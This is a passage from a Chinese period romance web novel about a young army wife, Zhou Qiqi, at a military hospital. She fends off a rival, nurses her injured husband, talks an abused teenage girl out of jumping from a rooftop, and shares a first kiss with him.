周柒柒就想到会这样,直接伸出手把她拦住了。 “你是不是眼睛瞎啊,我才是周柒柒!” “你?你是周柒柒?” 林瑶瞪大了眼睛,眼珠子都快瞪出来了。 她就只见过周柒柒一面,那时的周柒柒身着一身灰扑扑的布袄,上面还打着补丁,脸色蜡黄,一副营养不良的模样,活脱脱一个土里土气的乡下妞。 她多看一眼都觉得怕染上土气,压根没怎么放在心上,自然也没记清楚长相。 可眼前的姑娘,上身穿一件短款的暖白色翻领针织衫,下半身搭配一条卡其色伞形半身裙,腰间系着一条细细的棕色皮带。 那款式精致得很,她在百货大楼都没见过,竟让她想起了院长那从英国留洋回来的女儿。 不,就是院长女儿,也没穿得这么洋气。 这身衣裳不仅款式新颖,还十分贴身利落,像是老裁缝精心定制的一般。 除了穿着打扮,这姑娘皮肤白里透红,脸蛋圆润,五官精致得如同洋娃娃一般,一双圆溜溜的杏眼更是透着股明艳骄气。 再瞧瞧自己身上这一身淡粉色连衣裙,与她相比,竟像是过时了十几年似的。 从前,她是城里人,周柒柒是乡下人。 可今儿个,情形却倒了个儿。 周柒柒成了洋气的首长夫人,而她,倒像是从乡下来的土妞。 她简直不敢相信自己的眼睛,又问了一遍。 “你真是周柒柒?” “自然是真的,如假包换。” 周柒柒随意拨弄了一下头发,发间的双层蕾丝发箍更添几分优雅,瞧得林瑶咬牙切齿。 怪不得沈淮川忽然不听她的话了,肯定是被周柒柒这个狐狸精给迷惑了! 她刚才杵在外头吹风,就一直在琢磨这事儿呢。 沈淮川之前爱惨了她,对她那么好! 虽然一直冷冰冰的,板着个扑克脸,一年两个人说的话都不超过十句。 但是,从小到大,她想要什么,只要跟沈淮川说一声,就没有要不到的! 到了自己找工作的时候,就只是说了那么一声,沈淮川就特意找院长给她要了一个实习名额。 让她在省军区医院成为最特殊的存在,所有医生、护士啥的都对她客客气气的,啥活儿都不让她干。 她本来觉得,自己肯定可以留在省军区医院,端着铁饭碗一辈子了。 却没想到,留院的名单下来了,居然没有她! 她当即就杀到院长办公室去了,软磨硬泡了半天才知道,这居然是沈淮川的意思! 她怎么都不肯相信,这会儿却是终于想明白了。 林瑶梗着脖子,指尖几乎要戳到周柒柒鼻尖。 “是不是你撺掇了淮川哥,不让我留院的?” 这都什么跟什么啊,周柒柒嗤笑一声,脖颈往后仰了仰,眼尾漫不经心地扫过对方涨红的脸,重重翻了个白眼。 “大姐,毕业分配是看你自己表现的,你自己不行,关我什么事儿?” 林瑶可从来没想过自己的问题,而是斩钉截铁道。 “肯定是你的问题!你没来的时候,淮川哥还肯见我,现在连见都不肯见我了!我们两个可是从小定了娃娃亲的...” 这话都把周柒柒逗笑了。 “然后呢?不是你自己不肯嫁给沈淮川嘛?” 林瑶急了,她是不想嫁给沈淮川那个带着拖油瓶的冰块脸,但是没说不要工作啊。 “你让我进去,我要进去亲口问问淮川哥,他不会这么对我的!” 周柒柒懒得跟她废话,挺直脊背,下巴微抬,冷冰冰道。 “你别在这儿无理取闹了!沈淮川受伤了,需要静养,你们俩现在已经没有关系了,你有多远就滚多远!别在这儿碍我们夫妻俩的眼!” “你你你...” 林瑶没想到周柒柒这么油盐不进,还让她滚。 还从来没人敢跟她这么说话呢,她气得口不择言,可又不会吵架,你了半天,憋出来一句。 “你说话怎么那么粗俗?!哪儿有点首长夫人的样儿?丢不丢人!” 周柒柒漫不经心地耸肩,歪头冲她露出个挑衅的笑。 “这有什么丢人的,对人说人话,对鬼说鬼话,对狗,当然就...” 她故意拖长尾音,话里的意思不言而喻。 林瑶被气得脸涨成了猪肝色。 周柒柒又乘胜追击,狡黠地眨了眨眼,“那我给你来点不粗俗的!” 刚说完,就冲着不远处两个站岗的兵哥哥招了招手。 “你好,同志!” 这位可是正儿八经的首长夫人。 两个身姿挺拔的兵哥哥立刻绷直脊背,三步并作两步跑来,“啪”地抬手敬礼。 周柒柒眉眼弯弯,态度温和。 “这位不是咱们军区医院的医生,麻烦你们检查一下她的证件,是不是作假了。” ...... 五分钟后,林瑶被两个兵哥哥一左一右架着,“丢”出了军区医院,脚都崴了,疼得她龇牙咧嘴的。 这年代的军区医院不对外开放,只给军人和军属治疗。 林瑶之前能进来,是把自己工作证上面的日期涂改了,不仔细看的话,是看不出来的。 偏偏两位兵哥哥工作态度认真,还专门打给省军区医院核实。 发现弄虚作假,就毫不客气地把林瑶丢出来了。 之前众人以为林瑶是省区医院的医生,都对她态度挺恭敬的,这会儿看着她居然被丢出去,都扬着脖子看笑话。 林瑶这辈子都还从来没这么丢脸过,也顾不上自己的崴脚了,捂着脸慌里慌张地往外跑,直到撞上一个温热的胸膛。 “瑶瑶,怎么了?工作搞定了吗?” 男人的声音带着焦急,温柔得不得了,手臂稳稳圈住她颤抖的肩膀。 第85章 那对小夫妻真恩爱 男人身着半新的白色的确良衬衫,搭配黑色长裤,短发被发蜡抿得油光水滑,眸中尽是藏不住的焦急。 林瑶本就一肚子气,脚踝还一跳一跳地疼。 听男人还在问工作,顿时一肚子的无名火,扬手就推了把男人的肩膀,叉着腰仰起脸。 “许树,你什么意思?眼里就只有工作?没看见我脚崴了吗?” 许树赶忙赔上笑脸。 “别气别气,我错了错了,瑶瑶,你脚咋啦?” 他的语气带着讨好,林瑶听得心里舒服多了,撇着嘴嘟囔道。 “这还差不多,没大事儿,就是刚才被那俩人一推,扭到脚了。” “他们居然敢推你?我这就去替你报仇!看我不揍的他们满地找牙!” 许树一听,脸色瞬间沉了下来,边说边缓缓撸起衬衫袖子,抬脚就要往前冲。 林瑶赶忙伸手拽住他。 “你疯啦?他们是当兵的,手里的是真枪!” 许树脸色一白,但仍梗着脖子,小声却坚定地说,脸上一副视死如归的模样。 “当兵的怎么了?当兵就能欺负我家瑶瑶了?我绝不答应!” 林瑶轻轻一拉,把他拽了回来,脸上已经挂上了甜蜜的笑容。 “好了好了,树哥!我知道你对我好,可别冲动啊。” 许树握住林瑶的双,一双桃花眼微微上挑,眼角蒙着一层雾蒙蒙的水光,十分深情地说道。 “我没冲动,我说过的,我可以把命都给你。” 林瑶脸都红了,心里甜蜜得不得了,有点害羞地抽回手。 “哎呀,好啦,这儿这么多人呢,咱们别在这儿说话了,先找个地方吃饭,我慢慢跟你说。” 许树点了点头,一手扶着林瑶,一手指着另外一个方向。 “我刚才等你的时候,看见那边有个面摊儿,人挺多的,应该味道不错,去哪儿吧。” 林瑶顿时皱起了眉。 “吃什么地摊啊,多掉价,咱们去国营饭店,诺,我钱包在包里。” “行,听你的,不能委屈到咱们瑶瑶了。” 许树点了点头,看着林瑶一瘸一拐的样子,接过了她的包,柔声道。 “老公背你。” 林瑶满意地点了点头,顺势就伤了许树的后背。 路上的人瞧见了,都有点羡慕。 “你看,那边儿那对小夫妻真恩爱!” “是啊!对媳妇真好!” 林瑶听得心里美滋滋的。 本来刚才在医院里,还有一丁点后悔没嫁给沈淮川,现在那一丁点全都灰飞烟灭了。 毕竟沈淮川那个冰块脸可不会背媳妇。 国营饭店距离这里不远,两个人来到G市这几天,都是在这儿吃的饭。 到了饭店,林瑶熟门熟路地点了四道菜,这会儿人没多少,很快菜就都上齐了。 林瑶一边吃着,一边滔滔不绝地说了起来。 “...沈淮川本来态度都松动了,结果忽然杀出个周柒柒来!” “我想来想去终于想明白了,就是那个周柒柒看不得我们好,故意在背后撺掇沈淮川,不让我留在军区医院工作!” 林瑶一句接一句的,许树在她说话的过程中一句都插不上。 等到她说话,许树才皱着眉头开口。 “不可能是柒柒吧?她就是个啥都不懂的乡下土妞,那会儿我让她去随军,她死活都不愿意,还想着和我结婚呢,她没那么多心眼的!” “而且她性子唯唯诺诺的,我都怕她去随军的路上想不开跳河了...” 他和周柒柒从小可是青梅竹马一起长大的,十几年的情分,对周柒柒最是了解了,下意识就反驳道。 林瑶一听就不乐意了,直接伸出筷子,把他正在啃的一块排骨给打下来了,打到了林瑶碗边。 “她唯唯诺诺?她都指着我的鼻子骂我是狗了!你还替她说话?你贱骨头是不是?” 那可是一块精排,上头肉可多了,香得不得了。 许树有心想捡,但被林瑶这么一说,又没办法捡,只能舔了舔指尖的酱汁,无奈地问道。 “那咋办?那省军区医院的工作,咱们就不要了?” 林瑶翻了个白眼。 “怎么可能?你现在又没工作,我要是真被分到卫生所了,咱俩喝西北风去啊?总不能一直问我爸妈要钱花,而且咱俩结婚咋办?” “那瑶瑶,你再想想办法。” 许树赶紧赔了个笑脸,给她添了碗汤。 林瑶眸子转了转,想不到法子,烦得不得了了,转来转去,饭菜都吃不下去了。 一扭头,看到许树抓着一只鸡腿啃得正香,气得就要打他,但转念一想,立马嘴角一勾,用筷子把她碗边掉的那块排骨夹到许树碗里。 “你不就是法子吗?你和那个周柒柒青梅竹马,你去劝劝她去!” “我?” 许树咬着鸡腿愣住,油渍沾在嘴角。 “那军区医院我都进不去,我怎么劝啊?我觉得还是你去比较合适。” “进不去就在门口守着!” 林瑶一想起周柒柒那幅样子就来气,用筷子敲了敲许树的碗沿。 “我就不信她不出来。” 许树点了点头,“行,我明天就去。” “下午就去啊,干嘛还明天?” 听林瑶这么问,许树赶紧改口道。 “说错了,说错了,我就是说下午就去,下午就去找周柒柒。” 说着就继续夹走了盘子里的最后一块排骨。 与此同时,省军区医院的医生办公室里,周柒柒忽然打了个喷嚏,忙用手帕掩住口鼻。 “不好意思,丁医生,你接着说。” “好。” 丁医生丁医生推了推眼镜说着。 她是省军区医院的骨科主任,也是沈淮川的主任医师。 到了下午上班的点儿,周柒柒第一时间就去了医生办公室询问沈淮川的病情。 情况却是和沈淮川说的差不多,两根肋骨骨裂,不是位移性的,倒不是太严重,按照沈淮川的身体状况,事后确实可以痊愈,对他未来没有太大影响。 但是毕竟伤筋动骨了,也没他说的那么容易就能好,还是得好好修养两三个月,才能完全恢复。 周柒柒一下子放心多了,又找丁医生问了许多吃喝方面的禁忌,记了满满一整张的注意事项,然后就和朱莹莹一起去了供销社,买了许多食材。 朱莹莹之前被林瑶给整怕了,出去和回来的时候,都扬着脖子先四处四处瞅。 看医院门口没什么闲杂人等,不由撞了撞周柒柒的肩膀,笑道。 “那个林瑶真的不敢来了!” 第86章 什么规矩,我怎么不知道? 周柒柒早就料到林瑶没脸再出现了,笑道。 “莹莹,你记好了,这世上大多恶人都是欺软怕硬的性子。” “你越是一副柔柔弱弱的模样,她们越要骑到你头上作威作福,但是你要是比她们还强硬几分,她们反倒要怕你三分。” 朱莹莹似懂非懂地点了点头,眉眼弯成月牙,冲着周柒柒竖起大拇指。 “好,我知道了,柒柒,你真厉害!” 周柒柒随意摆了摆手。 她也不是从小生下来就怼天、怼地、怼空气。 实际上,从前的她也和朱莹莹是一样,胆小的不得了,见了生人都要往人后缩。 但后来被人欺负的多了,才逐渐发现,她一个爹不疼、娘不爱的女娃娃,自己不支愣,就没有人替她支愣。 她只能自己强大,将自己武装成一只刺猬,才能活得好一点。 回去之后,周柒柒给秦磊打了个招呼,让他先在医院看护,看着时间差不多,让莹莹自己先搭采买车回去。 自己则是去了军区医院的后厨。 为了方便军属,军区医院的后厨单独设立了一小块区域,让军属们可以自己做饭。 好几个灶头,青砖台面上还摆满了油盐酱醋等调料,挺方便的,就是空间有点小,比较闷热。 她做了冬瓜排骨汤,莴笋炒肉,清炒菠菜,另外还蒸了点玉米发糕。 用刚才买的饭盒饭桶什么的滴溜回了病房。 秦磊赶紧过来接着,支起了小饭桌,周柒柒把碗筷递给沈淮川。 “我盛菜的时候,已经单独把葱姜都挑了,你可以放心吃。” 周柒柒这一下午一分钟都没停过,这会儿额头上还满都是汗呢。 沈淮川躺在病床上,看着她额前被汗水粘住的碎发,喉结动了动,挣扎着要坐起来。 “不用这么麻烦,食堂的饭菜也能对付。” 周柒柒快步上前,抽过枕头垫在他背后,指尖轻轻按了按他的肩膀,眼尾微微上挑,嗔怪道。 “这儿有你说话的份儿吗?你受伤不告诉我,你理亏,啥事儿都得听我的,快趁热吃饭!” 这话把沈淮川拿捏得死死的,他蹭了蹭鼻子,一时无法反驳,只得乖乖接过饭盒。=。 吃饭的时候,周柒柒又和沈淮川说起了陪床的事儿。 沈淮川的伤不算严重,这都第三天了,已经可以正常上下床走路,不需要人帮着。 而且家里还有沈渡舟这个小朋友在。 舟舟情况特殊,又是个女孩子,白天让她去别人家吃两顿饭可以,晚上睡别人家的话,周柒柒还真不放心。 最后商量好了,周柒柒早上一大早过来,晚上吃完饭再回去。 至于来回嘛,周柒柒打算让赵大姐接送她。 沈淮川看着窗外的阴沉天气,立马摇了摇头,“不行,明天有雨。” “没事儿,一会儿我去买个雨披就成。” 周柒柒满不在乎地摆了摆手,这么点小事儿她自己能克服。 沈淮川却直接转头命令秦磊。 “你现在就去给军区打个电话,让他们配台车过来。” 像沈淮川这个级别的战斗英雄,平时本来就有配车。 正常都是只能公务用,但特殊情况,比如搬家之类的,都是可以申请使用的。 更别提沈淮川是为了军区比赛受的伤,当时领导给安排的时候,本来就安排了高级病房、配车,还有陪护。 沈淮川自己不想搞特殊没要而已。 周柒柒还想拒绝呢,秦磊这小子已经一溜烟跑没了。 第二天早上周柒柒过去的时候,就坐上了军用的大吉普,从军区医院的后门出入。 坐大吉普,来回只需要四十多分钟,速度快不说,也比驴车舒服的不是一点半点,不用忍受风吹日晒。 弄得周柒柒都想买台小汽车了。 不过这年代两个轮的自行车都难买,就别提小汽车了。 国内产能有限,外国的不好进口,想要小汽车,只能单位申请指标去买。 普通人是没有资格买的。 就算要买,那价格也是惊人的五位数。 周柒柒这会儿手头连一千块都没有呢。 买是买不起的,只能暂时加入心愿清单,等以后发财了再说。 不过这几天,倒还是只能蹭一蹭沈淮川这个便宜老公的福利了。 为了给沈淮川补充营养。 周柒柒早早就起来和面,蒸了点荠菜豆腐包,另外还熬了点小米粥,又另外给沈淮川蒸了个鸡蛋羹。 吃完饭没多久,邓翠香和姜营长就来了。 周柒柒正给沈淮川削苹果呢,一看到两人,立马站了起来。 “翠香姐,你咋来了?还有姜大哥,你今天不上班吗?” “嗨,淮川受伤了,这不得过来看看嘛?” 邓翠香伸手戳了戳丈夫的腰眼,姜营长便忙不迭地将手里的水果罐头和麦乳精往前递。 “来就来,咋还带这么多东西?” 周柒柒接了过来,拿给秦磊让他放起来,拦住邓翠香的胳膊,招呼两人在沙发上坐下。 邓翠香笑了笑,然后踢了踢身边的姜营长。 “最重要的是,得带着我家老姜来请罪!” 昨天下午朱莹莹回去之后,就把这事儿告诉邓翠香了。 得知因为自家老姜的缘故,害得周柒柒误会,心里内疚的不得了。 让姜营长请了半天假,提着东西就来了。 “我的错,我的错,我嘴笨。” 姜营长对着周柒柒双手合十拜了两下,苦笑道。 “我也没法子啊,淮川带了话了,让大家帮着瞒一瞒,我总不能出卖兄弟吧!军区里的规矩是这样的嘛!” “我知道,姜大哥,我也没怪你。” 周柒柒一边笑着,一边给沈淮川嘴里塞了一块苹果。 看好闺蜜没生气,邓翠香也就不生气了,拍了拍自家男人的手。 姜营长反手握住媳妇的手,两人正甜蜜着呢, 沈淮川慢悠悠的吃完,忽然问了一句,“什么规矩,我怎么不知道?” “啊?” 姜营长还在发愣呢,却听沈淮川忽然拍了拍脑门,恍然大悟道。 “哦,我想起来了,你是说上次演习爆炸,你受了伤,我帮你瞒着邓嫂子那事儿?” 第87章 出事了 沈淮川这话一出,病房里陷入了短暂的沉默。 但随即,邓翠香就反应了过来,指尖掐住姜营长的耳垂轻轻一拧,连珠炮似地追问。 “什么爆炸?什么受伤?伤哪儿了?” “姜远征,你给我说清楚?!” “好啊你个坏东西!这么大的事儿你敢瞒着我?!” 姜营长连连作揖,耳尖泛红。 “媳妇儿,媳妇儿,我错了~!真就一点儿小伤!早好了!” 邓翠香哪里肯信,两人在病房另一侧推推搡搡。 周柒柒看得津津有味的。 一边看还一边吃苹果,顺便给病床上的沈淮川递了一块。 不过吃着吃着,双眼却被已经咬了一口的苹果给遮住了。 只听邓翠香扯着嗓子喊,“我不信,你脱掉上衣我看看~” 姜营长连连后退,“这么多人呢,别掀我衣裳,咱上那茅房看去~” 邓沈淮川移开苹果的时候,只见两道身影正推搡着进了套间厕所。 上次演戏爆炸已经是一年前的事儿了,姜营长受的是内伤,身上没啥伤口,现在早就好得差不多了。 邓翠香再三问过之后才放心,放了姜营长离开,拉着周柒柒过去说话。 姜营长则一屁股垮在沈淮川床沿,食指戳着他肩膀直晃。 “你这小子不仗义啊!以前明明总是板着个冰块脸,一心扑在工作上,惜字如金的,现在倒好,娶完媳妇之后,话怎么那么多呢你!是不是故意打击报复?” 沈淮川眼皮都没抬,指尖摩挲着被角轻摇头。 “受伤后反应慢。” “我咋就那么不信呢?!你伤的也不是脑子啊!” 姜营长拍着大腿直叹气。 “我跟你说,你可害惨我了,我媳妇你嫂子说了,以后家里事儿都她做主,我没说话份儿了,在家里一点儿地位都没有了。” 姜营长心里头苦,但是又实在找不着破绽,只能打碎了牙齿往肚子里咽。 不过咽着咽着,他又嚼出不对劲儿来。 “不对啊,这家里本来啥事也都是她做主啊,不行不行,淮川,你帮我分析分析,这我是亏了还是赚了?” 沈淮川:......我也不造啊兄弟。 两个男人说着说着,都不约而同去看那边的媳妇。 邓翠香和周柒柒正聊得高兴呢,感觉到目光,直接狠狠瞪了一眼给瞪回去了。 她拽着周柒柒的肩膀往自己身边带,嘴里碎碎念。 “你听姐的,每次什么演习啊,出任务啊,比赛什么的回来,必须拉到屋子里,脱光了,从上到下全部看一遍,不然他们肯定瞒着!具体多少道疤,咱都得记在心里!” 周柒柒乖巧地点了点头,“嗯,知道了。” 邓翠香神神秘秘地贴过来。 “不过检查完你得小心,心里有点数,做好战斗准备。” 周柒柒眨了眨眼,一脸的无辜,军嫂还得战斗呢? “小心什么?什么数?什么战斗准备?” 邓翠香伸出手指点了点她的脑门,笑得促狭。 “你这小妮子是真傻还是装傻?你都给他看光了,一丝儿不挂的,他还能放过你?” “翠香姐你说什么呢?!” 周柒柒这才反应过来,脸蛋瞬间爆红了起来,锤了几下邓翠香。 但是脑子里却不由自主地想起来昨天下午,自己的手碰到沈淮川腰侧时,他滚动的喉结... 当时她的注意力全都在他的伤上面,还真没注意到其他的。 现在一想,心里忍不住也悸动起来,喉头轻轻滚了滚。 看着两人脑袋凑在一起,笑得嘻嘻哈哈,引得正在和沈淮川说越野比赛的姜营长都感慨起来。 “你说说这女人,刚才还凶神恶煞地瞪人,这会儿这么快就笑了,真是阴晴不定...” 又说了几句,邓翠香就和周柒柒告辞了。 她弟弟和弟妹也在G市住着,最近她忙都没怎么进城,好不容易过来一趟,肯定要过去看看。 之前周柒柒做的西装加碎花裙,她还给她弟妹用成本价买了一套,还没送过去呢。 送完还得回去管孩子吃饭,主要是得给舟舟做好吃的,可忙得不得了。 “行,那你赶快去吧。” 周柒柒知道她忙,也不留了。 本来送人到病房门口的,但是两人不知怎么的,忽然又聊上了周柒柒摆摊的事儿。 索性直接给人送到了医院大楼外头,远远招了招手。 回去路过三楼住院部的门,却见昨天的三楼小护士慌里慌张地满地儿乱跑,嘴里一直念叨着“完了,完了,完了”。 她赶忙迎上去,“小圆护士,怎么了这是?” 袁小圆脸色苍白,袁小圆急得直搓手,“病人不见了!” 今天早上,她们医院收治了一个吞安眠药自杀的年轻女孩,是邻居大婶给送过来的,洗完胃人救过来转到了三楼病房。 看女孩还睡着,邻居大婶就去护士台接了电话,想通知她家里人。 结果打完电话回去一看,病床上空空荡荡的,女孩不见了! 她和邻居问了一圈了,没人看见,这可把她给急坏了。 周柒柒看着小圆满头大汗的样子,赶忙安抚地拍了拍她的肩膀。 “别着急,我跟你一起找!你说人是吞了安眠药自杀的,那这会儿醒了,估计有可能还会想不开,会不会...去楼顶了?” “有可能!咱们去楼顶找!” 三人快步跑上五层楼,只见天台铁门大敞着。 栏杆边沿,穿病号服的女孩一条腿已翻出去,正低头望着楼下呜呜地哭。 “姑娘!危险!” 袁小圆惊呼着要冲过去。 “别过来~!” 女孩受惊般缩了缩,眼泪大颗大颗往下掉。 “让我死了算了!吃药没死成,那就跳楼!” “别啊~!你别冲动!” 袁小圆急得不得了,还要上前,女孩沉着脸威胁道。 “别过来!都别过来!再过来我马上跳下去!” 说着已经迈了第二条腿过去。 现在她两条腿都在栏杆外面,勉强只有前脚掌着地,双手抓着栏杆。 “怎么办啊?” 袁小园和大婶都急得直打转。 这时,周柒柒深吸了一口气沉着冷静道。 “别急,小圆,你先去报警,把四楼的两个兵哥哥叫过来!这里我和大婶先来跟她说。” 说着她拽住焦急的邻居大婶,让她不要再靠前刺激女孩,举起双手高喊道。 “喂~你先别冲动!我们不过去~我们保证不过去!你看,我们就站在门口这儿,一步都不过去,你不要动!” 她的声音清脆动听,一点儿也不慌,像是百灵鸟一样,温柔中又带着满满的活力。 女孩不由自主地就被吸引了,扭头过去看她。 看到她的一瞬间,脸上表情瞬间就变了。 “是你...??” 第88章 知识都学杂了 看女孩记得自己,周柒柒嘴角勾起一丝温柔的笑意,轻声说道。 “是啊,春燕,你还记得我呢?” 她的声音温柔得像是哄小孩一样,女孩不由自主地点了点头,说道。 “记得,你做的裙子很好看。” 这个小女孩,周柒柒看到第一眼就认出来了。 正是之前在公安局里,和妈妈一起诬告周柒柒衣服里藏了针的小女孩。 名字叫王春燕,学舞蹈的,今年才十六岁。 周柒柒记得她的名字,是因为当时事情最终真相出来之后,小女孩哭着到她面前,要给她下跪认错。 小女孩其实本质不坏,基本的是非观还是有的。 但是长期被妈妈精神虐待,经常用难听的话来辱骂她,弄得她十分胆小,又极度的不自信,精神已经有点恍惚了,才闹了这么一出悲剧。 “没人要的贱货!怎么不去死呢你!” 周柒柒到现在都还记得,当时在公安局里,当着这么多人的面,那个大婶就是这样骂王春燕的。 小姑娘躲在角落里瑟瑟发抖,似乎对这种谩骂已经习惯了。 当时周柒柒就觉得,这小女孩之后可能会想不开,还特意跟李队长说了,让他事后留意一下,没想到,悲剧还是发生了。 看这情形,小女孩估计今天被她妈妈骂得不清,萌生了轻生的念头。 生命多可贵啊,就算是曾经有过过节,周柒柒也不可能见死不救。 她又深吸了几口气,稳住自己的语气,勾起唇角,柔声说道。 “你喜欢吗?看我今天穿的这身怎么样,是我新做的。” 说着她还原地转了个圈圈。 今天她穿的是之前改造的小西装配蓝黑色的亚麻裙,在阳光照射下呈现出一种飘逸的金属光泽。 王春燕不由自主地被吸引了,点了点头。 “好看,像一只飞舞的燕子。” 周柒柒指尖点着裙摆,眼尾微弯。 “啊!燕子!好奇妙的比喻啊,你叫春燕,这裙子可不就是给你量身做的?我送你一件吧!” 她顿了顿,马上又问。 “春燕,你想不想穿着这件裙子跳舞?” 她的话一句接一句,王春燕来不及反应,只被她笑意牵引,本能地点头。 “想!我奶奶以前说,我跳起舞来,就像一只飞舞的小燕子。” 周柒柒眸光微亮,柔声道。 “如果想的话,你就从哪儿下来,要是你跳下去了,以后就再也没法跳舞给奶奶看了!” “可是...” 春燕哭出声,泪里浸着绝望,“奶奶已经去世了。” 周柒柒心头一紧,眼前一黑,面上却仍维持着笑容,指尖忙指向天空。 “你有没有听说过,死去的亲人会化作星星,在天上守着自己爱的亲人?奶奶虽然走了,可只要你好好活着,她便会一直望着你……” “真的吗?” 王春燕看着阴沉沉的天空,声音有一丝颤抖。 周柒柒毫不犹豫地点了点头,语气坚定不移。 “当然是真的了!要不然冥冥之中,怎么会有这么多人来救你呢!肯定是奶奶不希望你做傻事,想护着她的宝贝孙女呢!你舍得让奶奶难过么?” 听了这话,王春燕深深动摇了,抓着栏杆的手都握紧了许多。 此时,周柒柒朝她伸出手,掌心朝上,笑意温柔。 “来,听话,乖,翻过来,我扶你下来。” 刚才说话的过程中,她一直都在不动声色地靠近。 这会儿,距离王春燕就一个手臂的距离。 春燕瞧着她的笑,听着她温柔的语调,不自觉顺从地迈出右腿,正要翻过来。 但是早上刚下过雨,栏杆有点滑,小女孩又刚经历过洗胃,身上没什么力气。 脚下猛地一滑,整个人不受控制地就要朝后坠下去! 周柒柒想也不想,伸手去拽,可她力气有限,眼瞅着要被一同拖下去—— 千钧一发之际,几个兵哥哥冲上来,牢牢抓住春燕,顺带将周柒柒拽稳。 “谢、谢谢……” 周柒柒后怕得厉害,心口剧烈起伏。 但第一时间还是跑去查看小女孩。 小女孩脚崴了一下,身上有点擦伤,没什么大碍,这会儿哭得上气不接下气的。 周柒柒伸手摸了摸小女孩的头发,在她耳边轻声说了一句。 “你的人生才刚刚开始,别放弃。” 刚说完,就听楼道口传来一阵尖厉的叫嚷声。 “贱丫头!白养你这么大了,学人去死!” 周柒柒听着声音望过去,只见楼道口站着几个兵哥哥,还有几个不知道是医生护士的什么人。 紧接着穿着制服的民警和那天的大婶也挤了进来,其中还包括谭警官。 周柒柒可见识过这位大婶的“厉害”,不想沾上她,也不想惹人注意。 她扯了扯谭警官,跟他简单交代了几句情况,就走了。 等她走了之后,被几个兵哥哥围在中间的一个中年男人走了过来,冲着谭警官敬了个礼,指了指周柒柒离去的背影。 “同志,你好,请问那位女同志,是这里的医生吗?她叫什么名字?” ——- 刚救了人,周柒柒感觉自己脚下还有点发飘,有点庆幸。 幸好她上辈子看的电视剧多,又是TVB又是偶像剧的,知识都学杂了,但是正好能派上用场。 希望那些话,真的能安慰到小女孩就好了。 不过就算暂时能安慰到,有这么一个妈,她以后的日子肯定还是不好过。 但是这个,也只能由小女孩自己克服了。 不过,答应她的裙子,她肯定还是会送的,就当是替奶奶送的吧。 下楼时,周柒柒忽然觉着手腕发疼,一看,擦伤了一片。 刚才拉王春燕时,手腕蹭到了栏杆,刚才没感觉疼,这会儿精神放松下来,疼得厉害。 她赶忙下楼去门诊上了药,便回病房了。 去了这么久,沈淮川该担心了。 果然,等她回去的时候,秦磊急得不得了。 “嫂子,你去哪儿啊?出大事了!” “怎么了?” 周柒柒心里“咯噔”一下,赶忙问道。 第89章 两人的初吻 听到秦磊说出大事了,周柒柒心都提到嗓子眼了,第一反应就是看向斜倚床头的沈淮川。 沈淮川赶忙摇头,表示不关他的事,秦磊凑到一边解释道。 “刚才你下楼去送邓嫂子的时候,咱们军区的老首长来看团长了,顺便也想见见嫂子你的,结果我去楼下找了一圈,都没找到你,老首长军区还有事,就先走了。” 一听是这事儿,周柒柒心又放回肚子里了,摆了摆手道。 “嗨,我当什么大事儿呢,没见着就没见着呗,不太凑巧而已。” 秦磊把周柒柒扯到一边,小声说道。 “这都不是关键,关键廖科长陪着老首长一起来的,我把人送到高级病房门口,好像听见廖科长说了几句...” 周柒柒挑了挑眉,“说我坏话啦?” 她可不意外,廖科长最近在家经常和李红娟干仗,在外头老没面子了,估计把账都记在她脑门上了。 秦磊挠了挠头。 “也不算坏话吧,反正就说嫂子年纪轻,在医院呆不住,可能出去逛商城了之类的话,我瞅着老首长好像对嫂子不太满意...” 周柒柒耸了耸肩,“没事儿,以后有机会再跟老首长解释呗。” “不是,嫂子,你咋一点儿不可惜呢?老首长可不是天天能见的...” 秦磊急得满脑门的汗,周柒柒安慰地拍了拍他的肩膀。 “因为和一条人命比起来,见老首长的机会完全不值一提,就算提前让我知道老首长来,我也不会回来见的。” “什么人命,嫂子,出什么事儿了?” 听她这么说,沈淮川也挣扎着要坐起来。 周柒柒慌忙忙坐在床沿,按住他的肩膀,把刚才发生的事儿和种种前因后果都说了一遍。 秦磊听完就气得直拍桌子。 “这什么妈啊!也太过分了!咋能这么对自己闺女呢?” 周柒柒苦笑着摇了摇头。 “也不是所有的父母都会爱自己的孩子的。” 周柒柒一开始也有点不理解,但后来转念一想,自己不就是这样吗。 自己明明是父母的亲生女儿,可他们两个都不爱她。 虽然没有打她、骂她,但是离婚的时候,谁都不要她。 最后法院把她判给了爸爸,但爸爸也不要她,而是把她丢到奶奶家。 她一开始也一直想不通。 到长大之后,她仍然没想通,但是她知道了。 什么家庭,什么爱情,什么亲情,她统统都不需要,只要做好自己就够了。 “希望春燕能想通,好好活下去吧。” 她和秦磊都还沉浸在王春燕的故事里,只有沈淮川,关切在她身上乱转,皱着眉头开口道。 “救人时,受伤了吗?” “没有,没有...” 周柒柒手腕上的擦伤好大一片,虽然让护士处理过,没什么问题,也不怎么疼了,但看着挺吓人。 她本能的就不想让沈淮川担心,直接摇了摇头。 沈淮川却从她闪烁的眸光中看出不对劲,直接去拉她的手腕。 “让我看看。” 周柒柒下意识低头遮掩,又要小心避开沈淮川胸前的伤口。 沈淮川急切地想要查看她是不是受伤了。 两人一拉一扯之间,周柒柒的右手覆在了沈淮川的左手上。 沈淮川反手将她的手腕钳制住,她挣脱不得,抬头想要说什么。 却没想到,一抬头,一双温热的娇唇就触上了沈淮川冰冷的双唇。 两人之间的距离呼吸可闻,周柒柒的眸中只剩沈淮川的眸。 那眸光轻晃中,溢出了心疼,怜惜,温柔,和......全世界的星光。 周柒柒只觉得脑子“嗡”的一下,下意识地想要移开,但身体却完全不听下意识的话,睫毛轻颤之间,踮起脚尖,唇瓣覆了上去。 沈淮川眼中的星光一瞬间全都炸开,也偏头重重回吻。 两人的唇紧紧相贴,轻轻摩挲。 沈淮川的唇有些凉,呼吸急促紊乱,几乎让周柒柒忘了呼吸。 待她反应过来,已是满脸通红,赶忙移开唇,低下头。 可移开双唇时,沈淮川的手已经和她十指相扣,掌心的温度顺着血脉往心脏里钻。 温柔的声音从头顶传来。 “乖,给我看一下,伤得重不重?” 这才是他一开始的目的,刚才的吻,完全是一个意外。 周柒柒哪里挣脱得了沈淮川的力道,只得乖乖伸出右手腕。 “真的没事儿,已经上过药了。” 她手腕上的伤确实不重。 当时她身后那几个兵哥哥救援得挺及时的,估计是早就来了。 但是还挺专业,没有第一时间冲上去,而是等她这个“谈判专家”谈得差不多了,才上去救人。 沈淮川皱了皱眉,“这两天别做饭了,让秦磊去买回来吧。” 周柒柒赶忙摇头。 